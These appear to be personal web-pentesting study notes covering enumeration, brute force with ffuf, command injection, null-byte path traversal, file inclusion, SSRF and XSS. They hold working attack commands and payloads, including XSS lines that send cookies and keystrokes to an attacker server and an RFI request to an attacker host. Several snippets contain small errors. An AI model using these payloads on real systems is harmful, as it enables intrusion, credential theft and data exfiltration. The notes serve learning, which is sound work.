Pentesting
Enumerate
Before to do any action to the web application, it’s important to enumerate and how we can do the attack. First, if the web application has a login page, we can try to enumerate a user account:
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
We can brute force:
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200
Insecure Direct Object Reference
Insecure Direct Object Reference or IDOR it’s an object which refer directly to the entry in the database. For instance, you can have this URL http://example.com?id=11111. Here, the value of the parameter id is an IDOR.
Cryptographic Failures
HTTP request smuggling
https://portswigger.net/web-security/request-smuggling
Injection
It’s possible for an hacker to inject code like:
- SQL Injection: we can inject SQL and do some things to the database
- Command injection: if the input is send directly to the system, it’s possible to execute some system command
Command injection was one of the top vulnerabilities: https://www.contrastsecurity.com/security-influencers/insights-appsec-intelligence-report
Command injection
For instance, the code below read the command from the user and execute it:
$ cat public/command.php
<h1>Command</h1>
<form action="command.php" method="POST">
<label>Command: </label><input type="text" name="command" /><br />
<input type="submit" value="Submit" />
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST'){
$output=null;
$retval=null;
$cmd=$_POST["command"];
exec($cmd, $output, $retval);
echo $retval . '<br />';
echo "Result of the command: " . $cmd . "<br />";
foreach ($output as $value){
echo $value . '<br />';
}
}
?>
For instance, we can send this command to identify the shell:
getent passwd | grep `whoami`
https://www.php.net/manual/fr/function.passthru.php
In PHP, these functions are vulnerable:
- passthru
- exec
- System
If the website use Python as backend, and the web application provide an entrypoint for executing comand:
import subprocess
from flask import Flask
app = Flask(__name__)
def exec_cmd(cmd):
return subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout().read()
app.route("/<cmd>")
def cmd_server(cmd):
return exec_cmd(cmd)
It’s easy for a attacker to execute system command: curl http://<ip>/id
CheatSheet for some payload command injection: https://github.com/payloadbox/command-injection-payload-list
Send custom header
When we try to attack a website, we can custom the HTTP header and to attack the website. or instance, we can change the User-Agent:
curl --header "User-Agent: admin" http://example.com
Bypass IP filtering
We can bypass the IP filtering for a website with a simple curl command:
curl --header "X-Forwarded-For: 192.168.1.1" http://example.com
We can test with this python script for all HTTP directive we can have:
$ cat main.py
#!/usr/bin/env python3
import requests
url = "http://example.com" # Need to change the URL of destination
ip = "127.0.0.1" # Need to specify the IP
d = ['CACHE_INFO', 'CF_CONNECTING_IP', 'CF-Connecting-IP', 'CLIENT_IP', 'Client-IP', 'COMING_FROM', 'CONNECT_VIA_IP', 'FORWARD_FOR', 'FORWARD-FOR', 'FORWARDED_FOR_IP', 'FORWARDED_FOR', 'FORWARDED-FOR-IP', 'FORWARDED-FOR', 'FORWARDED', 'HTTP-CLIENT-IP', 'HTTP-FORWARDED-FOR-IP', 'HTTP-PC-REMOTE-ADDR', 'HTTP-PROXY-CONNECTION', 'HTTP-VIA', 'HTTP-X-FORWARDED-FOR-IP', 'HTTP-X-IMFORWARDS', 'HTTP-XROXY-CONNECTION', 'PC_REMOTE_ADDR', 'PRAGMA', 'PROXY_AUTHORIZATION', 'PROXY_CONNECTION', 'Proxy-Client-IP', 'PROXY', 'REMOTE_ADDR', 'Source-IP', 'True-Client-IP', 'Via', 'VIA', 'WL-Proxy-Client-IP', 'X_CLUSTER_CLIENT_IP', 'X_COMING_FROM', 'X_DELEGATE_REMOTE_HOST', 'X_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'X_FORWARDED', 'X_IMFORWARDS', 'X_LOCKING', 'X_LOOKING', 'X_REAL_IP', 'X-Backend-Host', 'X-BlueCoat-Via', 'X-Cache-Info', 'X-Forward-For', 'X-Forwarded-By', 'X-Forwarded-For-Original', 'X-Forwarded-For', 'X-Forwarded-Server', 'X-Forwarded-Host', 'X-From-IP', 'X-From', 'X-Gateway-Host', 'X-Host', 'X-Ip', 'X-Original-Host', 'X-Original-IP', 'X-Original-Remote-Addr', 'X-Original-Url', 'X-Originally-Forwarded-For', 'X-Originating-IP', 'X-ProxyMesh-IP', 'X-ProxyUser-IP', 'X-Real-IP', 'X-Remote-Addr', 'X-Remote-IP', 'X-True-Client-IP', 'XONNECTION', 'XPROXY', 'XROXY_CONNECTION', 'Z-Forwarded-For', 'ZCACHE_CONTROL']
for entry in d:
headers = dict()
headers[entry] = ip
res = requests.get(f"{url}", headers=headers)
if res.status_code == 200:
print(res.status_code)
print(entry)
Access to form with button disabled
If we want to try to access to a web page with the button disabled, we can easily bypass it. First, install a plugin in your web browser for executing javascript, like TamperMonkey. And execute this simple javascript code:
(function() {
'use strict';
document.querySelector('input[name="button"]').disabled = false;
// Your code here...
})();
This javascript code works for this form:
<form action="" method="post" name="authentication">
<div>
<input type="text" name="username" value="" />
<input disabled type="submit" value="Login" name="button" />
/div>
</form>
PHP Command injection
If the PHP application use the function exec for executing system command, it’s possible to do a command injection. For instance, for this small code:
cat index.php
<?php
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
$response = shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
echo $response;
}
?>
We can do a php injection:
<form method="POST" action="index.php">
<input type="text" name="ip" placeholder="127.0.0.1">
<input type="submit">
</form>
In the form, we can send this command: 127.0.0.1 ; cat .passwd
https://owasp.org/Top10/A03_2021-Injection/
Poison Null Byte
A Poison Null Byte it’s a hack technique for adding a NULL \0 byte at the end of the string. This technique can be potentially dangerous. For instance, we can have an access to a different system file:
<?php
# http://localhost:8080/?filename=..%2f..%2f..%2fetc%2fpasswd%00
# %2f -> /
# Or
# http://localhost:8080/?filename=../../../etc/passwd%00
if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])){
$filename = $_GET['filename'];
if (file_exists("/var/www/html/" . $filename '.php')){
echo file_get_contents("/var/www/html/" . $filename . ".php");
}
}
?>
https://www.php.net/manual/fr/security.filesystem.nullbytes.php
https://owasp.org/www-community/attacks/Embedding_Null_Code
Sometimes, you can have this error (I added with the Docker image php:8.0.2-apache):
Fatal error: Uncaught ValueError: file_get_contents(): Argument #1 ($filename) must not contain any null bytes in /var/www/html/index.php:26 Stack trace: #0 /var/www/html/index.php(26): file_get_contents('/etc/passwd\x00') #1 {main} thrown in /var/www/html/index.php on line 26
We can also bypass the extension protection for reading a text. For instance, we would like to read a file, because the directory is open from the outside, we can try to read it:
$ cat hacked.txt
I have been hacked !!
And the code associated:
<?php
# http://localhost:8080/?filename=hacked.txt%00.jpg
if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])){
$filename = $_GET['filename'];
if (str_ends_with($filename, ".jpg")){
echo file_get_contents($filename);
}
else{
echo "Accept only .jpg file<br />";
}
}
?>
File Inclusion
Local File Inclusion (LFI)
LFI attacks against web application is a common vulnerable due to lack of security in web application. When an web application include a file from the user request, like that:
$ curl http://<ip>?lang=EN
<?php
include ($_GET['lang']);
?>
It’s easy for a attacker to try to get some specific file to the path traversal:
$ curl http://<ip>?lang=../../../etc/passwd
some application can add an extension, like that:
$ curl http://<ip>?lang=../../../etc/passwd
Warning: include(languages/../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
We can add a Poison NULL Byte for ignoring the rest of the code:
$ curl http://<ip>?lang=../../../etc/passwd%00
Remote File Inclusion
RFI is a attack technique for include a remote file to the web application, because the user input is not enough sanitized:
curl -X POST ahttp://<ip>?lang=http://<ip attacker>/cmd.php
And the cmd.php file:
<?php
echo exec ("cat /etc/passwd");
?>
SSRF - Server Side Request Forgery
An attacker can forge HTTP request which can alter the server itself, like modifying some resources. You have two kind of SSRF. The first is one is the SSRF regular, when you have the result of the attack and the second one is the blind SSRF when the result is not displayed in the HTTP result.
For instance, a Web server take one argument, like the URL of the server for doing API request. So, the request expected is:
http://<web server>/stock?url=http://api.<web server>/api/stock?id=<id>
And the attacker forge this request:
http://<web server>/stock?url=http://api.<web server>/api/user?id=<id>
With the result, the attacker can have different information regarding the user.
Also, the parameter &x can be used to stop the remaining of the path: https://security.stackexchange.com/questions/263850/what-is-the-effect-of-the-x-in-a-ssrf-is-it-something-related-to-encoding
For instance, the attacker request: https://example.com/item/9?server=server.example.com/flag?id=9&x
Can be https://server.example.com/flag?id=9&x.example.com/api/item?id=9
For verifying if we can forge our own HTTP request, we can analyse the HTTP code source, we can find some hidden value or some things in the code.
We can use the website requestbin.com or Burp for monitoring HTTP request
XSS
Cross-Site Scripting is a vulnerability in web application and a attacker can inject malicious code into web pages and they can be view by other users. For instance, an attacker can inject Javascript code and get all cookies form other users and to send them to a web server owned by the attacker:
<script>fetch('https://<server attacker>/data?cookie=' + btoa(document.cookie));</script>
Or we can imagine a key logger for having some credentials information:
<script>document.onkeypress = function(e) { fetch('https://<server attacker>/data?key=' + btoa(e.key) );}</script>
Kind of XSS attack
Reflected XSS
The reflected XSS attack occur when the result of the attack is directly display in the web page without any validation by the web server. For instance:
curl http://<server>/?action=<script>alert("Reflected XSS")</script>
<div>
<script>/* executed script */</script>
</div>
We can imagine the scenario when an attacker send from email the website with the malicious JavaScript code to the victim and him click on it. When the website is opened, the script is executed to the user’s browser.
https://portswigger.net/web-security/cross-site-scripting/reflected
Also, another tips, we can read the code source of the page and to get some idea how to execute JavaScript code. For instance, if the form take a string input, we can send this code:
curl +X POST http://<server>/?name=</input><script>alert("Reflected XSS")</script>
In the example above, we close the input field and like that, we can execute the JavaScript code.
Stored XSS
The attack occur when the malicious code is store in the website, in the DB for instance. For instance, if a web page has a comment system and the developer didn’t do any validation, the attacker can send the malicious code through the comment and when a user visit these comments, the code is executed.
https://portswigger.net/web-security/cross-site-scripting/stored
DOM based XSS
DOM (Document Object Model ), it’s an interface for HTML and XML documents
https://portswigger.net/web-security/cross-site-scripting/dom-based
https://www.w3.org/TR/REC-DOM-Level-1/introduction.html
Blind XSS
Blind XSS is a kind of Stored XSS, but the attacker can not view the result of the attack.
For testing Blind XSS, you can use the tool https://github.com/mandatoryprogrammer/xsshunter-express
https://portswigger.net/burp/documentation/desktop/testing-workflow/input-validation/xss/testing-for-blind-xss
Access to an account
https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html
https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication.html